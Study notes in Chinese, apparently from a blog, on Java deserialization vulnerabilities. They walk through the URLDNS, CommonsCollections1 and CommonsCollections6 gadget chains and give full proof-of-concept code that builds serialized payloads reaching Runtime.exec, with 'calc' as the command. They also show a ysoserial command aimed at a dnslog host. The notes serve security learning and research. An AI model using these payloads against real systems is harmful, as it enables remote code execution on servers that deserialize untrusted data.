【学习笔记】Java安全之反序列化
文章目录
- 反序列化方法的对比
- PHP的反序列化
- Java的反序列化
- Python反序列化
- URLDNS链
- 利用链分析
- 触发DNS请求
- CommonCollections1利用链
- 利用TransformedMap构造POC
- 利用LazyMap构造POC
- CommonsCollections6 利用链
最近在学习Phith0n师傅的知识星球的Java安全漫谈系列,随手记下笔记
众所周知,一门成熟的语言,如果需要在网络上传递信息,通常会用到一些格式化数据,比如:
- JSON
- XML
JSON和XML是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,比如前端JavaScript通过JSON和后端服务通信、微信服务通过XML和公众号服务器通信,但这两个数据格式都不支持复杂的数据类型
大多数处理方法种,JSON和XML支持的数据类型就是基本数据类型、整形、浮点型、字符串、布尔等,如果开发者希望在数据传输的时候直接传输一个对象,就需要想办法扩展基础的JSON、XML语法
比如,Jackson和Fastjson这类序列化库,在JSON、XML的基础上进行改造,通过特定的语法来传递对象;亦或者如RMI,直接使用Java等语言内置的序列化方法,将一个对象转换成一串字节流进行传输。无论是Jackson、Fastjson还是编程语言内置的序列化方法,一旦涉及到序列化与反序列化数据,就可能涉及到安全问题。
但首先要理解的是“反序列化漏洞”是对一类漏洞的泛指,并不是专指某种反序列化方法导致的漏洞,比如Jackson反序列化漏洞和Java readObject造成的反序列化漏洞就是完全不同的两种漏洞。
反序列化方法的对比
Java的反序列化和PHP的反序列化有点类似,它们都是将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。
但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法writeObject
,允许开发者将序列化数据流中插入一些自定义数据,进而在反序列化的时候能够使用使用readObject
进行提取。
当然,PHP也提供了一个魔术方法__wakeup
,在反序列化的时候进行触发。很多人会认为Java的readObject
和PHP的__wakeup
类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决的问题稍微有些差异。
Java设计readObject
的思路和PHP的__wakeup
不同点在于:readObject
倾向于解决反序列化时如何还原一个完整的对象,而PHP的__wakeup
更倾向于解决反序列化后如何初始化这个对象
PHP的反序列化
关于PHP反序列化可以看我的这篇文章:由浅入深理解PHP反序列化漏洞
PHP的序列化是开发者不能参与的,开发者调用serialize
函数后,序列化的数据就已经完成了,得到的是一个完整的对象,并不能在序列化数据流里新增某一个内容,如果想插入新的内容,只有将其保存在一个属性中,也就是说PHP的序列化,、反序列化是一个纯内部的过程,而其__sleep
、__wakeup
魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
含有资源类型的PHP类,如数据库连接,在PHP中资源类型的对象默认是不会写入序列化数据中的,__wakeup
的作用是在反序列化后执行一些初始化操作,但是其实我们很少利用序列化数据传递资源类型的对象,而其他类型的对象,在反序列化的时候就已经赋予其值了。
所以你会发现,PHP的反序列化漏洞,很少是由__wakeup
这个方法出发的,通常触发在析构函数__destruct
中,大部分的PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以控制对象的属性,进而在后续的代码中进行危险操作。
Java的反序列化
Java反序列化的操作,很多是需要开发者深入参与的,大量的库都会实现readObject
、writeObject
方法,这和PHP中的__wakeup
、__sleep
很少使用是存在鲜明对比的。
Java在序列化一个对象时,将会调用这个对象中的个writeObject
方法,参数类型是ObjectOutputStream
,开发者可以将任何内容写入这个流当中,反序列化时会调用readObject
,开发者也可以从中读取前面写入的内容,并进行处理。举个例子
package StudyUnserialiation;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;public class Person implements java.io.Serializable {public String name;public int age;public Person(String name, int age) {this.name = name;this.age = age;}private void writeObject(ObjectOutputStream s) throws Exception {s.defaultWriteObject();s.writeObject("This is Object");}private void readObject(ObjectInputStream s) throws Exception {s.defaultReadObject();s.readObject();String message = (String) s.readObject();System.out.println(message);}@Overridepublic String toString() {return "Person{" +"name='" + name + '\'' +", age=" + age +'}';}
}
然后序列化这个类即可
package StudyUnserialiation;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class Test {public static void main(String[] args) throws IOException {Person p = new Person("mochu7", 22);ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));oos.writeObject(p);}
}
将这段序列化数据提取出来编码成十六进制字符串,然后用SerializationDumper
查看序列化数据
PS D:\Tools\Web\Other> python
Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 22:45:29) [MSC v.1916 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> with open('C:\\Users\Administrator\Downloads\serialize_data', 'rb') as f:
... print(bytes.hex(f.read()))
...
aced00057372001a5374756479556e73657269616c696174696f6e2e506572736f6ee41761c0bf3f16c20300024900036167654c00046e616d657400124c6a6176612f6c616e672f537472696e673b7870000000167400066d6f6368753774000e54686973206973204f626a65637478
This is Object
这串字符写入了objectAnnotation
package StudyUnserialiation;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Test1 {public static void main(String[] args) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));Person person = (Person) ois.readObject();System.out.println(person);}
}
反序列化时会读取这串字符,并输出
这个特性就使得Java的开发变得非常灵活,比如后面将会讲到的HashMap,其实就是将Map中的所有键、值存储在objectAnnotation
中,而并不是某个具体属性里。
package StudyUnserialiation;import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;public class HashMapSerialize {public static void main(String[] args) {HashMap<String, Integer> map = new HashMap<>();map.put("iPhone14 ProMax", 8849);map.put("Huawei Mate50Pro", 5969);map.put("xiaomi13", 4299);try {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data1"));oos.writeObject(map);}catch (Exception e){e.printStackTrace();}}
}
Python反序列化
Python反序列化和Java、PHP有个显著的区别,就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机,我们可以向栈上增删对象,也可以执行一些指令,比如函数的执行,甚至可以用这个虚拟机执行一个完整的应用程序。
所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加危险。
从危害上看,Python的反序列化危害是最大的,从应用广度上来看,Java的反序列化是最常被用到的,从反序列化的原理上看,PHP和Java是类似又不尽相同的。
URLDNS链
URLDNS是ysoserial中一个利用链的名字,但准确的来说,这个其实不能称作利用链。称为触发链可能更准确一点,因为其参数不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。
虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
URLDNS链在ysoserial中的源码:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
SilentURLStreamHandler
是ysoserial自定义的一个继承于URLStreamHandler
子类,其中重写了openConnection
、getHostAddress
方法,将它们的返回置空,避免在payload创建期间进行DNS解析。首先是实例化的SilentURLStreamHandler
生成handler,其次用handler与url生成一个URL对象,然后使用HashMap
将URL对象以及url放入其中。ysoserial会通过调用getObject
方法获得Payload,该Payload也就是Hashmap
被序列化后的对象。
利用链分析
触发反序列化的方法是HashMap
的readObject
,那么我们就先从HashMap
类的readObject
方法开始分析:
HashMap
类readObject
方法源码(jdk1.8.0_341
):
根据ysoserial
中的注释解释:
During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.,是
HashCode
方法中的计算操作触发了DNS请求。
在readObject()
方法中putVal()
将传入的键名传给了hash()
hash
方法调用了key的hashCode()
传入的key是java.net.URL
对象,查看java.net.URL
类的源码,找到hashCode()
方法,handler是URLStreamHandler
对象,这里判断了hashCode
是否!=-1
,
如果(hashCode != -1) == true
就不会调用handler.hashCode()
,这也就是URLDNS
中要使用反射修改Java.net.URL的hashCode
属性的原因:Reflections.setFieldValue(u, "hashCode", -1);
,如果这里不使用反射修改该类的属性,这一步就无法到handler.hashCode()
,继续跟进这里handler的hashCode()
方法。这里有调用getHostAddress()
。
继续跟进getHostAddress(u)
再跟进
其中的InetAddress.getByName(host);
就是对传入的主机名解析IP,如果传入的是公网域名就会访问进行DNS请求解析IP。因此URLDNS
利用链可以造成一次DNS请求。使用ysoserial生成URLDNS
利用链的对象(Payload),然后反序列化触发该利用链造成一次DNS请求解析。
URLDNS利用链的完整Gadget:HashMap->readObject()->hash()->URL.hashCode()->URLStreamHandler.hashCode()->getHostAddress()->InetAddress.getByName()
构造该Gadget,需要初始化一个java.net.URL
对象,将其作为key存入HashMap
的键名中,然后使用反射修改这个URL类对象的hashCode()
的值为-1,使其在反序列化时会重新计算hashCode()
,进而触发之后的DNS请求,而在初始化java.net.URL
对象时,为了防止生成该对象时也执行URL请求和DNS解析,所以重写了一个子类(SilentURLStreamHandler
),但这并不是必须的,只是为了防止影响Dnslog平台查验。
触发DNS请求
接下来首先使用ysoserial生成payload,DNS测试平台就是用常用的DNSlog
注意:Windows平台下请使用cmd来运行,PS运行导出的序列化字节流数据格式有误
java -jar ysoserial-all.jar URLDNS "http://ps4nzt.dnslog.cn" > urldns_payload
然后反序列化调用readObject()
触发即可
执行完之后Dnslog平台就可以查看到DNS请求
CommonCollections1利用链
Commons-Collections
是Apache基金会开发的一个Java开源库,提供了一组高效的数据结构和算法实现,扩展了Java的集合框架,使得用户更方便地处理集合数据,该库还包含了大量的类和接口,而Common-Collections
利用链是Java反序列化漏洞研究中必不可少的一环。
首先来看个CC1链的小Demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("name", "mochu7");}
}
-
TransformedMap
类:
TransformedMap
是Commons Collections
中的一个类,它实现了java.util.Map
接口,并允许用户指定一个转换函数来对Map
中的元素进行转换。具体来说,TransformedMap
会将所有读取操作(例如get
、containsKey
等)传递给基础Map
对象,但在写入操作(例如put
、remove
等)时,会先将键值对应用于指定的转换函数,然后再执行写入操作。
这个转换函数是任何实现了org.apache.commons.collections4.Transformer
接口的类,因此就使得TransformedMap
非常灵活,可以方便地对Map
中的元素进行转换。同时需要注意,由于TransformedMap
仅仅是一个包装器类,所以它对基础Map
对象的修改也会影响到原始的Map
对象。 -
Transformer
:
Transformer
只是一个接口,它只有待实现的transform
方法,参数就是Object
对象。
public interface Transformer {Object transform(Object var1);
}
-
ConstantTransformer
:
ConstantTransformer
是实现了Transformer
接口的一个类,在构造器接收一个对象然后在transform
方法返回这个对象,进行一个包装任意对象的处理。 -
InvokerTransformer
:
InvokerTransformer
也是实现了Transformer
接口的一个类,有参构造器第一个参数是执行的方法名,第二个参数是参数列表的类型,第三个参数是参数列表,然后回调transform
方法,使用反射执行了input
对象的iMethodName
方法。
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
ChainedTransformer
:
ChainedTransformer
也是实现了Transformer
接口的类,它将内部的所有Transformer
连接在一起进行遍历,将上一个回调返回的结果作为下一个回调的参数传入。
public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}
通过以上几个类的分析,即可理解该Demo的原理,首先新建了个Transformer
数组,用于存放两个Transformer
,第一个是ConstantTransformer
,这会直接返回传入的Runtime
对象;第二个是InvokerTransformer
,反射执行Runtime
对象的exec
方法,参数是calc
。再将这个Transformer
数组传给ChainedTransformer
,通过回调会将Runtime
的对象传给InvokerTransformer
,执行Runtime
对象的exec
方法。
但是这个transfomerChain
只是回调,要触发需要使用TransformedMap.decorate
来包装,然后使用put
或remove
来触发。
利用TransformedMap构造POC
上文探讨了Commons-Collections
的Transformer
,并且使用了一个Demo作为例子,在Demo中是以outerMap.put("name", "mochu7")
来触发漏洞,但是在反序列化时是需要一个类。该类在反序列化时readObject
方法有类似的写入处理,就是sun.reflect.annotation.AnnotationInvocationHandler
类,核心源码(jdk<=8u66
):
private void readObject(java.io.ObjectInputStream s){...Map<String, Class<?>> memberTypes = annotationType.memberTypes();for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {Object value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
memberValues
就是经过了TransformedMap
修饰的对象,也是反序列化之后的Map
,然后遍历,依次设置值调用setValue
时会触发TransformedMap
中的Transform
,进而进入到上文提到的利用链导致命令执行。因此构造POC时需要创建一个AnnotationInvocationHandler
对象,然后将上文的利用链中的HashMap
传入,并且这个AnnotationInvovationHandler
是内置类,不能直接使用常规方法获取对象,因此这里使用反射获取构造方法,然后强制访问再调用实例化。
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
Construct.setAccessible(true);
Object obj = construct.newInstance(Retention.clas, outerMap);
然后将整个过程梳理,形成一个完整的链子,尝试执行,输出了以下报错
报的是不可序列化的错误,而这里序列化的是ConstantTransformer
中的Runtime.getRuntime()
对象,而Runtime
是没有实现java.io.Serializeable
接口的,因此无法序列化。在前面的反射篇章中,有介绍可以通过反射直接获取对象,而不需要直接使用这个类。
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");
使用这种方法反射的好处就是将原来没有实现序列化接口的Java.lang.Runtime
类,换成了Java.lang.Class
对象,而Java.lang.Class
类对象是实现了Serializable
接口的,因此可以序列化。但是更换Transformer
调用Runtime
的方法之后还是无法执行命令。
查看AnnotationInvocationHandler
类的反编译代码,在readObject()
方法下,如果要进入setValue()
触发构造的Transfomers
,有一个if(var7!=null)
的判断,在这里下个断点动态调式,查看运行后var7
的值是否为null
回到AnnotationInvocationHandler
的有参构造方法
可以看到要使得var1
、var2
的值不为null
,AnnotationInvocationHandler
的第一个参数必须是Annotation
类型,并且需要有一个方法,如果这个方法名为X,那么被TransformedMap.decorate
修饰的Map
的键名也必须为X才能触发,正是因为如此,上文使用反射获取AnnotationInvocationHandler
获取有参构造器,生成对象时传入的第一个参数是Retention.class
,因为Retention
中有一个value
方法,因此修改innerMap.put("value", "mochu7");
的键名也为value
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("value", "mochu7");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}
注意:该方法只针对Jdk<=8u66
的版本有效,8u71
开始,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法,不再继续使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象,并将原来的键值添加进去。因此,后续对Map
的操作全都是基于这个新的LinkedHashMap
对象,不需要再使用构造的Ma
执行set
、put
处理,因此也就不会触发RCE了。
利用LazyMap构造POC
LazyMap
和TransformedMap
类似,都来自于Apache Commons Collections
库,LazyMap
是一个需要时动态生成值的映射表。它通过延迟来加载提高性能,只有在首次访问时才会计算和存储值。LazyMap
通常适用于处理大量数据的情况,可以节省计算资源。TransformedMap
是在写入元素的时候执行构造好的transforms
,而LazyMap
是在它的get
方法中执行factory.transform
,当寻找不到key
值时会调用factory.transform
获取一个值。
LazyMap
利用比TransformedMap
的利用过程稍微复杂一点,TransformedMap
是在AnntationInvocationHandler
的readObject
方法中就有setValue
会触发到构造好的transforms
,而readObject
中并没有调用到Map
的get
方法。但是AnnotationInvocationHandler
类的invoke
方法有调用到get
方法
那么下一步就是想办法调用到AnnotationInvocationHandler
下的invoke
方法,想要劫持对象内部的方法调用,最合适不过的是使用Java的动态代理中的对象代理。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
第一个参数是ClassLoader
,使用默认的即可;第二个参数是代理的对象集合;第三个参数是实现了InvocationHandler
接口的对象,是代理对象的核心处理程序。
编写一个ExampleInvocationHandler
类,重写invoke
方法,它的作用是当检测到该对象调用了get
方法,就返回一串字符。
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler {protected Map map;public ExampleInvocationHandler(Map map) {this.map = map;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {if(method.getName().compareTo("get") == 0) {System.out.println("Hook Method: " + method.getName());return "Hacked Object";}return method.invoke(this.map, args);}
}
然后在外部调用ExampleInvocationHandler
,存入一组数据,然后get
获取
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) {InvocationHandler handler = new ExampleInvocationHandler(new HashMap());Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);proxyMap.put("name", "mochu7");String result = (String) proxyMap.get("name");System.out.println(result);}
}
而如果对sun.reflect.annotation.AnnotationInvocationHandler
类的对象用Proxy
代理,在readObject
时,只要调用任何一个方法,就会触发进入到AnnotationInvocationHandler
的invoke
方法,最后触发LazyMap
的get
方法。
因此,LazyMap
的利用链的构造过程就产生了,在原有的TransformedMap
的POC的基础进行修改,首先将原来的TransformedMap
替换为LazyMap
,然后对sun.reflect.annotation.AnnotationInvocationHandler
类的对象进行代理。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
代理之后还不能直接序列化,因为利用链的入口点在sun.reflect.annotation.AnnotationInvocationHandler的readObject()
,因此还需要使用AnnotationInvocationHandler
对proxyMap
进行处理。
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
最终构造如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(handler);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}
CommonsCollections6 利用链
上文详细分析了LazyMap
的利用链并构造了POC,但是LazyMap
的利用链仍然无法解决CommonCollections1
的利用链在高版本的Java(jdk>=8u71)
中无法使用的问题。CommonsCollections6
在jdk7、8的高版本中的利用链是比较通用的利用链。
以下是这条链的利用过程:
java.io.ObjectInputStream.readObject() -> java.util.HashMap.readObject() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commmons.collections.functors.ChainedTransformer.transform() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke() -> java.lang.Runtime.exec()
从LazyMap.get()
到Runtime.exec()
上文已经详细分析过了,因此要解决在Java高版本中的利用问题,就需要寻找还有哪些地方调用了LazyMap.get()
这个方法,可以看到org.apache.commons.collections.keyvalue.TiedMapEntry
中的getValue()
调用了this.map.get()
,并且在hashCode()
中调用了getValue()
继续追踪哪里调用了TiedMapEntry.hashCode()
,也就是追踪哪里调用了HashMap.hash()
,在HashMap.readObject()
中可以看到调用了hash(key)
而在hash()
方法中调用了key.hashCode()
,因此只需要将TiedMapEntry
对象赋值给这里的key
,既可组成一个完整的Gadget
。构造LazyMap
,包装transformerChain
成outerMap
,然后将其作为TiedMapEntry
的map
属性。
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "MyKey");
这里为了避免本地调试触发命令执行,构造LazyMap
使用的是一个普通的Transformers
对象,必要时需要Payload
再把真正的Transformers
放进去。接下来为了调用TiedMapEntry.hashCode()
,将tiedMapEntry
对象作为HashMap
的key
存入一个新的HashMap
。最后,将这个新的HashMap
对象序列化即可,在此之前需要通过反射,将真正的Transformers
数组对象。
Map myMap = new HashMap();
myMap.put(tiedMapEntry, "MyValue");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(tramformerChain, transformers);
运行之后并没有执行命令,单步调试查看问题,发现问题在LazyMap.get()
方法中
有个if
会判断Map
中是否有key
,如果否才进入到触发Transformers
数组对象的步骤,在创建TiedMapEntry
时,放入了一个MyKey
,但是TiedMapEntry
并不会修改outerMap
,关键问题就出在myMap.put(tiedMapEntry, "MyValue")
,HashMap.put()
方法中也有hash(key)
的操作。导致LazyMap
的利用链提前被调用了一次,所以需要对outerMap
的key
值进行remove
处理:outerMap.remove("MyKey")
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "MyKey");Map myMap = new HashMap();myMap.put(tiedMapEntry, "MyValue");outerMap.remove("MyKey");Field field = ChainedTransformer.class.getDeclaredField("iTransformers");field.setAccessible(true);field.set(transformerChain, transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(myMap);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}
这个利用链可以在Java7和8高版本触发,没有版本限制
相关文章:

【学习笔记】Java安全之反序列化
文章目录 反序列化方法的对比PHP的反序列化Java的反序列化Python反序列化 URLDNS链利用链分析触发DNS请求 CommonCollections1利用链利用TransformedMap构造POC利用LazyMap构造POCCommonsCollections6 利用链 最近在学习Phith0n师傅的知识星球的Java安全漫谈系列,随…...

算法练习--leetcode 数组
文章目录 爬楼梯问题裴波那契数列两数之和 [数组]合并两个有序数组移动零找到所有数组中消失的数字三数之和 爬楼梯问题 输入n阶楼梯,每次爬1或者2个台阶,有多少种方法可以爬到楼顶? 示例1:输入2, 输出2 一次爬2阶&a…...

本地 shell无法连接centos 7 ?
1、首先检查是否安装ssh服务; yum list installed | grep openssh-server# 没有安装尝试安装下 yum install openssh-server 2、检查ssh服务是否开启 systemctl status sshd.service# 未开启,开启下 systemctl start sshd.service # 将sshd 服务添…...
C 语言的基本算术运算符 = + - * /
C 语言的基本算术运算符有: - * / 赋值运算符 赋值运算符左侧必须引用一个内存中的位置, 最简单的方法就是使用变量名, 也可以使用指针指向内存中的某个位置. 赋值表达式的目的是把值储存到目标内存位置上. 下面语句中的 表示初始化而不是赋值: const int …...

SQL注入实操三(SQLilabs Less41-50)
文章目录 一、sqli-labs靶场1.轮子模式总结2.Less-41 stacked Query Intiger type blinda.注入点判断b.轮子测试c.获取数据库名称d.堆叠注入e.堆叠注入外带注入获取表名f.堆叠注入外带注入获取列名g.堆叠注入外带注入获取表内数据 3.Less-42 Stacked Query error baseda.注入点…...
HOT77-买卖股票的最佳时机
leetcode原题链接:买卖股票的最佳时机 题目描述 给定一个数组 prices ,它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票,并选择在 未来的某一个不同的日子 卖出该股票。设计一个算法来计算你所…...

CSS调色网有哪些
本文章转载于湖南五车教育,仅用于学习和讨论,如有侵权请联系 1、https://webgradients.com/ Wbgradients 是一个在线调整渐变色的网站 ,可以根据你想要的调整效果,同时支持复制 CSS 代码,可以更好的与开发对接。 Wbg…...

Day10-NodeJS和NPM配置
Day10-NodeJS和NPM 一 Nodejs 1 简介 Nodejs学习中文网:https://www.nodeapp.cn/synopsis.html Nodejs的官网:https://nodejs.org/ 概念:Nodejs是JavaScript的服务端运行环境.Nodejs不是框架,也不是编程语言,就是一个运行环境. Nodejs是基于chrome V8引擎开发的一套js代码…...

线性代数 | 机器学习数学基础
前言 线性代数(linear algebra)是关于向量空间和线性映射的一个数学分支。它包括对线、面和子空间的研究,同时也涉及到所有的向量空间的一般性质。 本文主要介绍机器学习中所用到的线性代数核心基础概念,供读者学习阶段查漏补缺…...

Nios初体验之——Hello world!
文章目录 前言一、系统设计1、系统模块框图2、系统涉及到的模块1、时钟2、nios2_qsys3、片内存储(onchip_rom、onchip_ram)4、串行通信(jtag_uart)5、System ID(sysid_qsys) 二、硬件设计1、创建Qsys2、重命…...

[Linux]理解文件系统!动静态库详细制作使用!(缓冲区、inode、软硬链接、动静态库)
hello,大家好,这里是bang___bang_,今天来谈谈的文件系统知识,包含有缓冲区、inode、软硬链接、动静态库。本篇旨在分享记录知识,如有需要,希望能有所帮助。 目录 1️⃣缓冲区 🍙缓冲区的意义 …...

【Linux操作系统】Vim:提升你的编辑效率
Vim是一款功能强大的文本编辑器,它具有高度可定制性和灵活性,可以帮助程序员和文本编辑者提高编辑效率。本文将介绍Vim的基本使用方法、常用功能和一些实用技巧。 文章目录 1. Vim的基本使用方法:2. 常用功能:2.1 文件操作&#…...

Mybatis-plus 的自动填充策略
